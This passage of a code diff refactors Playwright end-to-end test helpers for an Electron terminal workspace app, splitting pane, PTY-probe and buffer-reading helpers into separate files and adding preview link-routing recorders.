+type RoutedPreviewLink = { url: string; opened: boolean }
+
+/**
+ * Records every external link the preview routes into a browser tab. The click that triggers this
+ * crosses into a guest process, so without the record a missing tab cannot distinguish a press
+ * Chromium swallowed from a tab the workspace refused to create.
+ */
+export async function armPairedHtmlPreviewLinkRouting(page: Page): Promise<void> {
+  await page.evaluate(() => {
+    const store = window.__store
+    if (!store) {
+      throw new Error('paired client exposed no store to observe link routing')
+    }
+    const routed: RoutedPreviewLink[] = []
+    ;(window as unknown as { __routedPreviewLinks: RoutedPreviewLink[] }).__routedPreviewLinks =
+      routed
+    const original = store.getState().openBrowserProfileTabInActiveWorkspace
+    store.setState({
+      openBrowserProfileTabInActiveWorkspace: async (url: string, profileId: string | null) => {
+        const opened = await original(url, profileId)
+        routed.push({ url, opened })
+        return opened
+      }
+    } as never)
+  })
+}
+
+export async function readPairedHtmlPreviewLinkRouting(page: Page): Promise<RoutedPreviewLink[]> {
+  return page.evaluate(
+    () =>
+      (window as unknown as { __routedPreviewLinks?: RoutedPreviewLink[] }).__routedPreviewLinks ??
+      []
+  )
+}
+
+/** Every preview guest in the client renderer, with the layout it actually has. */
+export async function readDocPreviewGuestRects(
+  page: Page
+): Promise<{ src: string; width: number; height: number; hiddenAncestor: boolean }[]> {
+  return page.evaluate(() =>
+    [...document.querySelectorAll('webview[src^="orca-preview://"]')].map((node) => {
+      const element = node as HTMLElement
+      const rect = element.getBoundingClientRect()
+      return {
+        src: element.getAttribute('src') ?? '',
+        width: rect.width,
+        height: rect.height,
+        hiddenAncestor: element.closest('[hidden]') !== null
+      }
+    })
+  )
+}
+
+export async function readDocPreviewGuestUrl(page: Page): Promise<string | null> {
+  return page.evaluate(
+    () => document.querySelector('webview[src^="orca-preview://"]')?.getAttribute('src') ?? null
+  )
 }
diff --git a/tests/e2e/helpers/terminal-active-pane.ts b/tests/e2e/helpers/terminal-active-pane.ts
new file mode 100644
index 00000000000..b5987c61f3a
--- /dev/null
+++ b/tests/e2e/helpers/terminal-active-pane.ts
@@ -0,0 +1,159 @@
+import { expect, type Page } from '@stablyai/playwright-test'
+import { buildFreshShellProbeInputSequence } from '../terminal-probe-input-sequence'
+import {
+  getTerminalContent,
+  resolveActiveTabId,
+  type ActivePaneHookDescriptor
+} from './terminal-pane-identity'
+
+export async function waitForActivePaneHookDescriptor(
+  page: Page,
+  timeoutMs = 15_000
+): Promise<ActivePaneHookDescriptor> {
+  let descriptor: ActivePaneHookDescriptor | null = null
+  await expect
+    .poll(
+      async () => {
+        const tabId = await resolveActiveTabId(page)
+        if (!tabId) {
+          descriptor = null
+          return false
+        }
+        descriptor = await page.evaluate((tabId) => {
+          const layoutHasLeaf = (node: unknown, targetLeafId: string): boolean => {
+            if (!node || typeof node !== 'object') {
+              return false
+            }
+            const record = node as {
+              type?: unknown
+              leafId?: unknown
+              first?: unknown
+              second?: unknown
+            }
+            if (record.type === 'leaf') {
+              return record.leafId === targetLeafId
+            }
+            return (
+              layoutHasLeaf(record.first, targetLeafId) ||
+              layoutHasLeaf(record.second, targetLeafId)
+            )
+          }
+
+          const store = window.__store
+          const manager = window.__paneManagers?.get(tabId)
+          if (!store || !manager) {
+            return null
+          }
+          const state = store.getState()
+          const worktreeId = state.activeWorktreeId
+          if (
+            !worktreeId ||
+            !(state.tabsByWorktree[worktreeId] ?? []).some((tab) => tab.id === tabId)
+          ) {
+            return null
+          }
+
+          const activePane = manager.getActivePane?.() ?? manager.getPanes?.()[0]
+          const leafId = activePane?.leafId ?? null
+          const layout = state.terminalLayoutsByTabId[tabId]
+          if (
+            !leafId ||
+            !layoutHasLeaf(layout?.root, leafId) ||
+            layout?.ptyIdsByLeafId?.[leafId] !== activePane?.container?.dataset?.ptyId
+          ) {
+            return null
+          }
+          return { paneKey: `${tabId}:${leafId}`, worktreeId }
+        }, tabId)
+        return descriptor !== null
+      },
+      {
+        timeout: timeoutMs,
+        // Why: hook IPC routing drops statuses for pane keys before the store
+        // layout knows that leaf, even if the terminal DOM already has a PTY.
+        message: 'Active terminal pane did not become routable for hook status IPC'
+      }
+    )
+    .toBe(true)
+
+  if (!descriptor) {
+    throw new Error('Active terminal pane descriptor disappeared after routing wait')
+  }
+  return descriptor
+}
+
+// Why: PTY IDs are opaque integers not exposed in the DOM. Probe each
+// candidate with a unique marker and read back via SerializeAddon.
+export async function discoverActivePtyId(page: Page): Promise<string> {
+  const marker = `__PTY_PROBE_${Date.now()}__`
+
+  const readCandidateIds = async (): Promise<string[]> => {
+    const tabId = await resolveActiveTabId(page)
+    if (!tabId) {
+      return []
+    }
+    return page.evaluate((tabId) => {
+      const store = window.__store
+      if (!store) {
+        return []
+      }
+      return store.getState().ptyIdsByTabId[tabId] ?? []
+    }, tabId)
+  }
+
+  await expect
+    .poll(readCandidateIds, {
+      timeout: 15_000,
+      message: 'discoverActivePtyId: active tab never received PTY candidates'
+    })
+    .not.toEqual([])
+
+  const candidateIds = await readCandidateIds()
+
+  if (candidateIds.length === 0) {
+    // Why: blind-probing arbitrary PTY IDs can write into unrelated shells and
+    // hides real regressions in the tab->PTY mapping the test depends on.
+    throw new Error('discoverActivePtyId: active tab has no PTY candidates in store')
+  }
+
+  const candidateInputs = candidateIds.map((_id, index) =>
+    buildFreshShellProbeInputSequence(`echo ${marker}_${index}\r`)
+  )
+
+  await page.evaluate(
+    ({ candidateIds, candidateInputs }) => {
+      // Why: daemon PTY IDs can contain path separators and shell metacharacters.
+      // Echo a numeric probe index, then map it back to the opaque ID in Node.
+      for (const [index, id] of candidateIds.entries()) {
+        for (const input of candidateInputs[index] ?? []) {
+          window.api.pty.write(String(id), input)
+        }
+      }
+    },
+    { candidateIds, candidateInputs }
+  )
+
+  let foundPtyId: string | null = null
+  await expect
+    .poll(
+      async () => {
+        const content = await getTerminalContent(page)
+        const markerRe = new RegExp(`${marker}_(\\d+)`, 'g')
+        const matches = [...content.matchAll(markerRe)]
+        if (matches.length > 0) {
+          const index = Number(matches.at(-1)?.[1] ?? Number.NaN)
+          foundPtyId = Number.isInteger(index) ? (candidateIds[index] ?? null) : null
+          return true
+        }
+        return false
+      },
+      { timeout: 10_000, message: 'PTY marker did not appear in terminal buffer' }
+    )
+    .toBe(true)
+
+  if (!foundPtyId) {
+    throw new Error('discoverActivePtyId: no marker found in terminal buffer')
+  }
+
+  return foundPtyId
+}
diff --git a/tests/e2e/helpers/terminal-pane-identity.ts b/tests/e2e/helpers/terminal-pane-identity.ts
new file mode 100644
index 00000000000..bdc8f254b2b
--- /dev/null
+++ b/tests/e2e/helpers/terminal-pane-identity.ts
@@ -0,0 +1,113 @@
+import type { Page } from '@stablyai/playwright-test'
+
+export type PaneIdentitySnapshot = {
+  tabId: string
+  activeLeafId: string | null
+  panes: {
+    numericPaneId: number
+    leafId: string
+    stablePaneId: string
+    datasetLeafId: string | null
+    ptyId: string | null
+  }[]
+  ptyIdsByLeafId: Record<string, string>
+}
+
+export type ActivePaneHookDescriptor = {
+  paneKey: string
+  worktreeId: string
+}
+
+// Why: worktree restoration can render the terminal surface before the legacy
+// global activeTabId settles. Prefer the active worktree's saved terminal tab
+// pointer, then fall back to the first terminal tab.
+export async function resolveActiveTabId(page: Page): Promise<string | null> {
+  return page.evaluate(() => {
+    const store = window.__store
+    if (!store) {
+      return null
+    }
+    const state = store.getState()
+    const wId = state.activeWorktreeId
+    if (!wId) {
+      return null
+    }
+    const tabs = state.tabsByWorktree[wId] ?? []
+    if (tabs.length === 0) {
+      return null
+    }
+    const pref =
+      state.activeTabType === 'terminal'
+        ? state.activeTabId
+        : (state.activeTabIdByWorktree?.[wId] ?? null)
+    if (pref && tabs.some((t) => t.id === pref)) {
+      return pref
+    }
+    return tabs[0]?.id ?? null
+  })
+}
+
+// Why: reads the buffer through the SerializeAddon that the PaneManager
+// already loads for every terminal pane (exposed via VITE_EXPOSE_STORE).
+export async function getTerminalContent(page: Page, charLimit = 4000): Promise<string> {
+  const tabId = await resolveActiveTabId(page)
+  if (!tabId) {
+    return ''
+  }
+  return page.evaluate(
+    ({ tabId, charLimit }) => {
+      const paneManagers = window.__paneManagers
+      if (!paneManagers) {
+        return ''
+      }
+
+      const manager = paneManagers.get(tabId)
+      if (!manager) {
+        return ''
+      }
+
+      const activePane = manager.getActivePane?.()
+      if (!activePane) {
+        const panes = manager.getPanes?.() ?? []
+        if (panes.length === 0) {
+          return ''
+        }
+        const text = panes[0].serializeAddon?.serialize?.() ?? ''
+        return text.slice(-charLimit)
+      }
+
+      const text = activePane.serializeAddon?.serialize?.() ?? ''
+      return text.slice(-charLimit)
+    },
+    { tabId, charLimit }
+  )
+}
+
+export async function readPaneIdentitySnapshot(page: Page): Promise<PaneIdentitySnapshot | null> {
+  const tabId = await resolveActiveTabId(page)
+  if (!tabId) {
+    return null
+  }
+
+  return page.evaluate((tabId) => {
+    const manager = window.__paneManagers?.get(tabId)
+    const store = window.__store
+    if (!manager || !store) {
+      return null
+    }
+
+    const activePane = manager.getActivePane?.() ?? null
+    return {
+      tabId,
+      activeLeafId: activePane?.leafId ?? null,
+      panes: manager.getPanes().map((pane) => ({
+        numericPaneId: pane.id,
+        leafId: pane.leafId,
+        stablePaneId: pane.stablePaneId,
+        datasetLeafId: pane.container.dataset.leafId ?? null,
+        ptyId: pane.container.dataset.ptyId ?? null
+      })),
+      ptyIdsByLeafId: store.getState().terminalLayoutsByTabId[tabId]?.ptyIdsByLeafId ?? {}
+    }
+  }, tabId)
+}
diff --git a/tests/e2e/helpers/terminal-pane-operations.ts b/tests/e2e/helpers/terminal-pane-operations.ts
new file mode 100644
index 00000000000..d3d488f35e3
--- /dev/null
+++ b/tests/e2e/helpers/terminal-pane-operations.ts
@@ -0,0 +1,226 @@
+import { expect, type Page } from '@stablyai/playwright-test'
+import {
+  getTerminalContent,
+  readPaneIdentitySnapshot,
+  resolveActiveTabId
+} from './terminal-pane-identity'
+
+export async function readTerminalPaneDomLeafOrder(page: Page): Promise<string[]> {
+  const snapshot = await readPaneIdentitySnapshot(page)
+  if (!snapshot) {
+    return []
+  }
+
+  return page.evaluate((tabId) => {
+    const manager = window.__paneManagers?.get(tabId)
+    if (!manager) {
+      return []
+    }
+    const paneElements = new Set(manager.getPanes().map((pane) => pane.container))
+    return Array.from(document.querySelectorAll<HTMLElement>('.pane[data-leaf-id]'))
+      .filter((element) => paneElements.has(element))
+      .map((element) => element.dataset.leafId ?? '')
+      .filter((leafId) => leafId.length > 0)
+  }, snapshot.tabId)
+}
+
+export async function moveTerminalPaneByLeafId(
+  page: Page,
+  sourceLeafId: string,
+  targetLeafId: string,
+  zone: 'top' | 'bottom' | 'left' | 'right'
+): Promise<void> {
+  const snapshot = await readPaneIdentitySnapshot(page)
+  if (!snapshot) {
+    throw new Error('moveTerminalPaneByLeafId: no active terminal tab')
+  }
+
+  await page.evaluate(
+    ({ tabId, sourceLeafId, targetLeafId, zone }) => {
+      const manager = window.__paneManagers?.get(tabId)
+      if (!manager) {
+        throw new Error('moveTerminalPaneByLeafId: active pane manager not ready')
+      }
+      const sourcePaneId = manager.getNumericIdForLeaf(sourceLeafId)
+      const targetPaneId = manager.getNumericIdForLeaf(targetLeafId)
+      if (sourcePaneId == null || targetPaneId == null) {
+        throw new Error('moveTerminalPaneByLeafId: source or target leaf is not mounted')
+      }
+      manager.movePane(sourcePaneId, targetPaneId, zone)
+    },
+    { tabId: snapshot.tabId, sourceLeafId, targetLeafId, zone }
+  )
+}
+
+export async function sendToTerminal(page: Page, ptyId: string, text: string): Promise<void> {
+  await page.evaluate(
+    ({ ptyId, text }) => {
+      window.api.pty.write(ptyId, text)
+    },
+    { ptyId, text }
+  )
+}
+
+export async function execInTerminal(page: Page, ptyId: string, command: string): Promise<void> {
+  await sendToTerminal(page, ptyId, `${command}\r`)
+}
+
+export async function waitForActiveTerminalManager(page: Page, timeoutMs = 30_000): Promise<void> {
+  await expect
+    .poll(
+      async () => {
+        const tabId = await resolveActiveTabId(page)
+        if (!tabId) {
+          return false
+        }
+        return page.evaluate((tabId) => {
+          const paneManagers = window.__paneManagers
+          if (!paneManagers) {
+            return false
+          }
+          return (paneManagers.get(tabId)?.getPanes?.().length ?? 0) > 0
+        }, tabId)
+      },
+      {
+        timeout: timeoutMs,
+        message: 'Active terminal PaneManager did not finish mounting'
+      }
+    )
+    .toBe(true)
+}
+
+export async function splitActiveTerminalPane(
+  page: Page,
+  direction: 'vertical' | 'horizontal'
+): Promise<void> {
+  const tabId = await resolveActiveTabId(page)
+  if (!tabId) {
+    throw new Error('splitActiveTerminalPane: no active terminal tab')
+  }
+  await page.evaluate(
+    ({ tabId, direction }) => {
+      const paneManagers = window.__paneManagers
+      if (!paneManagers) {
+        throw new Error('splitActiveTerminalPane: terminal store/manager unavailable')
+      }
+
+      const manager = paneManagers.get(tabId)
+      const activePane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null
+      if (!manager?.splitPane || !activePane) {
+        throw new Error('splitActiveTerminalPane: active pane manager not ready')
+      }
+
+      // Why: Electron key delivery to the terminal pane layer is flaky in E2E
+      // even when the visible pane tree is mounted. Driving the active
+      // PaneManager directly still exercises the real split/layout/PTY path
+      // without depending on window-focus timing.
+      manager.splitPane(activePane.id, direction)
+    },
+    { tabId, direction }
+  )
+}
+
+export async function closeActiveTerminalPane(page: Page): Promise<void> {
+  const tabId = await resolveActiveTabId(page)
+  if (!tabId) {
+    throw new Error('closeActiveTerminalPane: no active terminal tab')
+  }
+  await page.evaluate((tabId) => {
+    const paneManagers = window.__paneManagers
+    if (!paneManagers) {
+      throw new Error('closeActiveTerminalPane: terminal store/manager unavailable')
+    }
+
+    const manager = paneManagers.get(tabId)
+    const panes = manager?.getPanes?.() ?? []
+    if (!manager?.closePane || panes.length < 2) {
+      return
+    }
+
+    const activePane = manager.getActivePane?.() ?? panes[0]
+    if (!activePane) {
+      return
+    }
+
+    manager.closePane(activePane.id)
+  }, tabId)
+}
+
+export async function focusLastTerminalPane(page: Page): Promise<void> {
+  const tabId = await resolveActiveTabId(page)
+  if (!tabId) {
+    throw new Error('focusLastTerminalPane: no active terminal tab')
+  }
+  await page.evaluate((tabId) => {
+    const paneManagers = window.__paneManagers
+    if (!paneManagers) {
+      throw new Error('focusLastTerminalPane: terminal store/manager unavailable')
+    }
+
+    const manager = paneManagers.get(tabId)
+    const panes = manager?.getPanes?.() ?? []
+    const lastPane = panes.at(-1) ?? null
+    if (!manager?.setActivePane || !lastPane) {
+      throw new Error('focusLastTerminalPane: active pane manager not ready')
+    }
+
+    manager.setActivePane(lastPane.id, { focus: true })
+  }, tabId)
+}
+
+// Why: hidden-window E2E mode keeps DOM visibility signals false. The pane
+// manager tracks the authoritative active split layout independently of CSS.
+export async function countVisibleTerminalPanes(page: Page): Promise<number> {
+  const tabId = await resolveActiveTabId(page)
+  if (!tabId) {
+    return 0
+  }
+  return page.evaluate((tabId) => {
+    const managerCount = window.__paneManagers?.get(tabId)?.getPanes?.().length ?? 0
+    if (managerCount > 0) {
+      return managerCount
+    }
+
+    const layout = window.__store?.getState().terminalLayoutsByTabId[tabId]
+    if (!layout) {
+      return 0
+    }
+
+    // Why: `root: null` means the default single-pane tab (no splits yet).
+    type N = { type: 'leaf' } | { type: 'split'; first: N | null; second: N | null } | null
+    const countLeaves = (node: N): number => {
+      if (!node || node.type === 'leaf') {
+        return 1
+      }
+      return countLeaves(node.first) + countLeaves(node.second)
+    }
+    return countLeaves(layout.root as N)
+  }, tabId)
+}
+
+export async function waitForTerminalOutput(
+  page: Page,
+  expected: string,
+  timeoutMs = 10_000,
+  charLimit = 4000
+): Promise<void> {
+  await expect
+    .poll(async () => (await getTerminalContent(page, charLimit)).includes(expected), {
+      timeout: timeoutMs,
+      message: `Terminal did not contain "${expected}"`
+    })
+    .toBe(true)
+}
+
+export async function waitForPaneCount(
+  page: Page,
+  expectedCount: number,
+  timeoutMs = 10_000
+): Promise<void> {
+  await expect
+    .poll(async () => countVisibleTerminalPanes(page), {
+      timeout: timeoutMs,
+      message: `Expected ${expectedCount} visible terminal panes`
+    })
+    .toBe(expectedCount)
+}
diff --git a/tests/e2e/helpers/terminal.ts b/tests/e2e/helpers/terminal.ts
index ec55b702c39..ddfaf506156 100644
--- a/tests/e2e/helpers/terminal.ts
+++ b/tests/e2e/helpers/terminal.ts
@@ -1,28 +1,40 @@
-/* eslint-disable max-lines -- Terminal E2E helpers share one PaneManager-backed path for PTY IO, split actions, and stable pane identity snapshots. */
 import type { Page } from '@stablyai/playwright-test'
 import { expect } from '@stablyai/playwright-test'
-import { buildFreshShellProbeInputSequence } from '../terminal-probe-input-sequence'
+import {
+  getTerminalContent,
+  readPaneIdentitySnapshot,
+  resolveActiveTabId,
+  type ActivePaneHookDescriptor,
+  type PaneIdentitySnapshot
+} from './terminal-pane-identity'
+import {
+  discoverActivePtyId as discoverActivePtyIdImpl,
+  waitForActivePaneHookDescriptor as waitForActivePaneHookDescriptorImpl
+} from './terminal-active-pane'
+import {
+  closeActiveTerminalPane as closeActiveTerminalPaneImpl,
+  countVisibleTerminalPanes as countVisibleTerminalPanesImpl,
+  execInTerminal as execInTerminalImpl,
+  focusLastTerminalPane as focusLastTerminalPaneImpl,
+  moveTerminalPaneByLeafId as moveTerminalPaneByLeafIdImpl,
+  readTerminalPaneDomLeafOrder as readTerminalPaneDomLeafOrderImpl,
+  sendToTerminal as sendToTerminalImpl,
+  splitActiveTerminalPane as splitActiveTerminalPaneImpl,
+  waitForActiveTerminalManager as waitForActiveTerminalManagerImpl,
+  waitForPaneCount as waitForPaneCountImpl,
+  waitForTerminalOutput as waitForTerminalOutputImpl
+} from './terminal-pane-operations'
+
+export {
+  getTerminalContent,
+  readPaneIdentitySnapshot,
+  resolveActiveTabId,
+  type ActivePaneHookDescriptor,
+  type PaneIdentitySnapshot
+}
 
 export const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/
 
-export type PaneIdentitySnapshot = {
-  tabId: string
-  activeLeafId: string | null
-  panes: {
-    numericPaneId: number
-    leafId: string
-    stablePaneId: string
-    datasetLeafId: string | null
-    ptyId: string | null
-  }[]
-  ptyIdsByLeafId: Record<string, string>
-}
-
-export type ActivePaneHookDescriptor = {
-  paneKey: string
-  worktreeId: string
-}
-
 // Why: typing-latency specs must type into xterm's helper textarea, not the
 // page body — keyboard.type only reaches the PTY when that textarea has focus.
 export async function focusActiveTerminalInput(page: Page): Promise<void> {
@@ -53,71 +65,6 @@ export async function focusActiveTerminalInput(page: Page): Promise<void> {
   })
 }
 
-// Why: worktree restoration can render the terminal surface before the legacy
-// global activeTabId settles. Prefer the active worktree's saved terminal tab
-// pointer, then fall back to the first terminal tab.
-async function resolveActiveTabId(page: Page): Promise<string | null> {
-  return page.evaluate(() => {
-    const store = window.__store
-    if (!store) {
-      return null
-    }
-    const state = store.getState()
-    const wId = state.activeWorktreeId
-    if (!wId) {
-      return null
-    }
-    const tabs = state.tabsByWorktree[wId] ?? []
-    if (tabs.length === 0) {
-      return null
-    }
-    const pref =
-      state.activeTabType === 'terminal'
-        ? state.activeTabId
-        : (state.activeTabIdByWorktree?.[wId] ?? null)
-    if (pref && tabs.some((t) => t.id === pref)) {
-      return pref
-    }
-    return tabs[0]?.id ?? null
-  })
-}
-
-// Why: reads the buffer through the SerializeAddon that the PaneManager
-// already loads for every terminal pane (exposed via VITE_EXPOSE_STORE).
-export async function getTerminalContent(page: Page, charLimit = 4000): Promise<string> {
-  const tabId = await resolveActiveTabId(page)
-  if (!tabId) {
-    return ''
-  }
-  return page.evaluate(
-    ({ tabId, charLimit }) => {
-      const paneManagers = window.__paneManagers
-      if (!paneManagers) {
-        return ''
-      }
-
-      const manager = paneManagers.get(tabId)
-      if (!manager) {
-        return ''
-      }
-
-      const activePane = manager.getActivePane?.()
-      if (!activePane) {
-        const panes = manager.getPanes?.() ?? []
-        if (panes.length === 0) {
-          return ''
-        }
-        const text = panes[0].serializeAddon?.serialize?.() ?? ''
-        return text.slice(-charLimit)
-      }
-
-      const text = activePane.serializeAddon?.serialize?.() ?? ''
-      return text.slice(-charLimit)
-    },
-    { tabId, charLimit }
-  )
-}
-
 export async function waitForActivePanePtyId(page: Page, timeoutMs = 15_000): Promise<string> {
   let resolvedPtyId: string | null = null
   await expect
@@ -148,187 +95,6 @@ export async function waitForActivePanePtyId(page: Page, timeoutMs = 15_000): Pr
   return resolvedPtyId
 }
 
-export async function waitForActivePaneHookDescriptor(
-  page: Page,
-  timeoutMs = 15_000
-): Promise<ActivePaneHookDescriptor> {
-  let descriptor: ActivePaneHookDescriptor | null = null
-  await expect
-    .poll(
-      async () => {
-        const tabId = await resolveActiveTabId(page)
-        if (!tabId) {
-          descriptor = null
-          return false
-        }
-        descriptor = await page.evaluate((tabId) => {
-          const layoutHasLeaf = (node: unknown, targetLeafId: string): boolean => {
-            if (!node || typeof node !== 'object') {
-              return false
-            }
-            const record = node as {
-              type?: unknown
-              leafId?: unknown
-              first?: unknown
-              second?: unknown
-            }
-            if (record.type === 'leaf') {
-              return record.leafId === targetLeafId
-            }
-            return (
-              layoutHasLeaf(record.first, targetLeafId) ||
-              layoutHasLeaf(record.second, targetLeafId)
-            )
-          }
-
-          const store = window.__store
-          const manager = window.__paneManagers?.get(tabId)
-          if (!store || !manager) {
-            return null
-          }
-          const state = store.getState()
-          const worktreeId = state.activeWorktreeId
-          if (
-            !worktreeId ||
-            !(state.tabsByWorktree[worktreeId] ?? []).some((tab) => tab.id === tabId)
-          ) {
-            return null
-          }
-
-          const activePane = manager.getActivePane?.() ?? manager.getPanes?.()[0]
-          const leafId = activePane?.leafId ?? null
-          const layout = state.terminalLayoutsByTabId[tabId]
-          if (
-            !leafId ||
-            !layoutHasLeaf(layout?.root, leafId) ||
-            layout?.ptyIdsByLeafId?.[leafId] !== activePane?.container?.dataset?.ptyId
-          ) {
-            return null
-          }
-          return { paneKey: `${tabId}:${leafId}`, worktreeId }
-        }, tabId)
-        return descriptor !== null
-      },
-      {
-        timeout: timeoutMs,
-        // Why: hook IPC routing drops statuses for pane keys before the store
-        // layout knows that leaf, even if the terminal DOM already has a PTY.
-        message: 'Active terminal pane did not become routable for hook status IPC'
-      }
-    )
-    .toBe(true)
-
-  if (!descriptor) {
-    throw new Error('Active terminal pane descriptor disappeared after routing wait')
-  }
-  return descriptor
-}
-
-// Why: PTY IDs are opaque integers not exposed in the DOM. Probe each
-// candidate with a unique marker and read back via SerializeAddon.
-export async function discoverActivePtyId(page: Page): Promise<string> {
-  const marker = `__PTY_PROBE_${Date.now()}__`
-
-  const readCandidateIds = async (): Promise<string[]> => {
-    const tabId = await resolveActiveTabId(page)
-    if (!tabId) {
-      return []
-    }
-    return page.evaluate((tabId) => {
-      const store = window.__store
-      if (!store) {
-        return []
-      }
-      return store.getState().ptyIdsByTabId[tabId] ?? []
-    }, tabId)
-  }
-
-  await expect
-    .poll(readCandidateIds, {
-      timeout: 15_000,
-      message: 'discoverActivePtyId: active tab never received PTY candidates'
-    })
-    .not.toEqual([])
-
-  const candidateIds = await readCandidateIds()
-
-  if (candidateIds.length === 0) {
-    // Why: blind-probing arbitrary PTY IDs can write into unrelated shells and
-    // hides real regressions in the tab->PTY mapping the test depends on.
-    throw new Error('discoverActivePtyId: active tab has no PTY candidates in store')
-  }
-
-  const candidateInputs = candidateIds.map((_id, index) =>
-    buildFreshShellProbeInputSequence(`echo ${marker}_${index}\r`)
-  )
-
-  await page.evaluate(
-    ({ candidateIds, candidateInputs }) => {
-      // Why: daemon PTY IDs can contain path separators and shell metacharacters.
-      // Echo a numeric probe index, then map it back to the opaque ID in Node.
-      for (const [index, id] of candidateIds.entries()) {
-        for (const input of candidateInputs[index] ?? []) {
-          window.api.pty.write(String(id), input)
-        }
-      }
-    },
-    { candidateIds, candidateInputs }
-  )
-
-  let foundPtyId: string | null = null
-  await expect
-    .poll(
-      async () => {
-        const content = await getTerminalContent(page)
-        const markerRe = new RegExp(`${marker}_(\\d+)`, 'g')
-        const matches = [...content.matchAll(markerRe)]
-        if (matches.length > 0) {
-          const index = Number(matches.at(-1)?.[1] ?? Number.NaN)
-          foundPtyId = Number.isInteger(index) ? (candidateIds[index] ?? null) : null
-          return true
-        }
-        return false
-      },
-      { timeout: 10_000, message: 'PTY marker did not appear in terminal buffer' }
-    )
-    .toBe(true)
-
-  if (!foundPtyId) {
-    throw new Error('discoverActivePtyId: no marker found in terminal buffer')
-  }
-
-  return foundPtyId
-}
-
-export async function readPaneIdentitySnapshot(page: Page): Promise<PaneIdentitySnapshot | null> {
-  const tabId = await resolveActiveTabId(page)
-  if (!tabId) {
-    return null
-  }
-
-  return page.evaluate((tabId) => {
-    const manager = window.__paneManagers?.get(tabId)
-    const store = window.__store
-    if (!manager || !store) {
-      return null
-    }
-
-    const activePane = manager.getActivePane?.() ?? null
-    return {
-      tabId,
-      activeLeafId: activePane?.leafId ?? null,
-      panes: manager.getPanes().map((pane) => ({
-        numericPaneId: pane.id,
-        leafId: pane.leafId,
-        stablePaneId: pane.stablePaneId,
-        datasetLeafId: pane.container.dataset.leafId ?? null,
-        ptyId: pane.container.dataset.ptyId ?? null
-      })),
-      ptyIdsByLeafId: store.getState().terminalLayoutsByTabId[tabId]?.ptyIdsByLeafId ?? {}
-    }
-  }, tabId)
-}
-
 export async function waitForPaneIdentitySnapshot(
   page: Page,
   paneCount: number
@@ -364,222 +130,74 @@ export async function waitForPaneIdentitySnapshot(
   return snapshot
 }
 
-export async function readTerminalPaneDomLeafOrder(page: Page): Promise<string[]> {
-  const snapshot = await readPaneIdentitySnapshot(page)
-  if (!snapshot) {
-    return []
-  }
-
-  return page.evaluate((tabId) => {
-    const manager = window.__paneManagers?.get(tabId)
-    if (!manager) {
-      return []
-    }
-    const paneElements = new Set(manager.getPanes().map((pane) => pane.container))
-    return Array.from(document.querySelectorAll<HTMLElement>('.pane[data-leaf-id]'))
-      .filter((element) => paneElements.has(element))
-      .map((element) => element.dataset.leafId ?? '')
-      .filter((leafId) => leafId.length > 0)
-  }, snapshot.tabId)
+export function waitForActivePaneHookDescriptor(
+  page: Page,
+  timeoutMs = 15_000
+): Promise<ActivePaneHookDescriptor> {
+  return waitForActivePaneHookDescriptorImpl(page, timeoutMs)
 }
 
-export async function moveTerminalPaneByLeafId(
+export function discoverActivePtyId(page: Page): Promise<string> {
+  return discoverActivePtyIdImpl(page)
+}
+
+export function readTerminalPaneDomLeafOrder(page: Page): Promise<string[]> {
+  return readTerminalPaneDomLeafOrderImpl(page)
+}
+
+export function moveTerminalPaneByLeafId(
   page: Page,
   sourceLeafId: string,
   targetLeafId: string,
   zone: 'top' | 'bottom' | 'left' | 'right'
 ): Promise<void> {
-  const snapshot = await readPaneIdentitySnapshot(page)
-  if (!snapshot) {
-    throw new Error('moveTerminalPaneByLeafId: no active terminal tab')
-  }
-
-  await page.evaluate(
-    ({ tabId, sourceLeafId, targetLeafId, zone }) => {
-      const manager = window.__paneManagers?.get(tabId)
-      if (!manager) {
-        throw new Error('moveTerminalPaneByLeafId: active pane manager not ready')
-      }
-      const sourcePaneId = manager.getNumericIdForLeaf(sourceLeafId)
-      const targetPaneId = manager.getNumericIdForLeaf(targetLeafId)
-      if (sourcePaneId == null || targetPaneId == null) {
-        throw new Error('moveTerminalPaneByLeafId: source or target leaf is not mounted')
-      }
-      manager.movePane(sourcePaneId, targetPaneId, zone)
-    },
-    { tabId: snapshot.tabId, sourceLeafId, targetLeafId, zone }
-  )
+  return moveTerminalPaneByLeafIdImpl(page, sourceLeafId, targetLeafId, zone)
 }
 
-export async function sendToTerminal(page: Page, ptyId: string, text: string): Promise<void> {
-  await page.evaluate(
-    ({ ptyId, text }) => {
-      window.api.pty.write(ptyId, text)
-    },
-    { ptyId, text }
-  )
+export function sendToTerminal(page: Page, ptyId: string, text: string): Promise<void> {
+  return sendToTerminalImpl(page, ptyId, text)
 }
 
-export async function execInTerminal(page: Page, ptyId: string, command: string): Promise<void> {
-  await sendToTerminal(page, ptyId, `${command}\r`)
+export function execInTerminal(page: Page, ptyId: string, command: string): Promise<void> {
+  return execInTerminalImpl(page, ptyId, command)
 }
 
-export async function waitForActiveTerminalManager(page: Page, timeoutMs = 30_000): Promise<void> {
-  await expect
-    .poll(
-      async () => {
-        const tabId = await resolveActiveTabId(page)
-        if (!tabId) {
-          return false
-        }
-        return page.evaluate((tabId) => {
-          const paneManagers = window.__paneManagers
-          if (!paneManagers) {
-            return false
-          }
-          return (paneManagers.get(tabId)?.getPanes?.().length ?? 0) > 0
-        }, tabId)
-      },
-      {
-        timeout: timeoutMs,
-        message: 'Active terminal PaneManager did not finish mounting'
-      }
-    )
-    .toBe(true)
+export function waitForActiveTerminalManager(page: Page, timeoutMs = 30_000): Promise<void> {
+  return waitForActiveTerminalManagerImpl(page, timeoutMs)
 }
 
-export async function splitActiveTerminalPane(
+export function splitActiveTerminalPane(
   page: Page,
   direction: 'vertical' | 'horizontal'
 ): Promise<void> {
-  const tabId = await resolveActiveTabId(page)
-  if (!tabId) {
-    throw new Error('splitActiveTerminalPane: no active terminal tab')
-  }
-  await page.evaluate(
-    ({ tabId, direction }) => {
-      const paneManagers = window.__paneManagers
-      if (!paneManagers) {
-        throw new Error('splitActiveTerminalPane: terminal store/manager unavailable')
-      }
-
-      const manager = paneManagers.get(tabId)
-      const activePane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null
-      if (!manager?.splitPane || !activePane) {
-        throw new Error('splitActiveTerminalPane: active pane manager not ready')
-      }
-
-      // Why: Electron key delivery to the terminal pane layer is flaky in E2E
-      // even when the visible pane tree is mounted. Driving the active
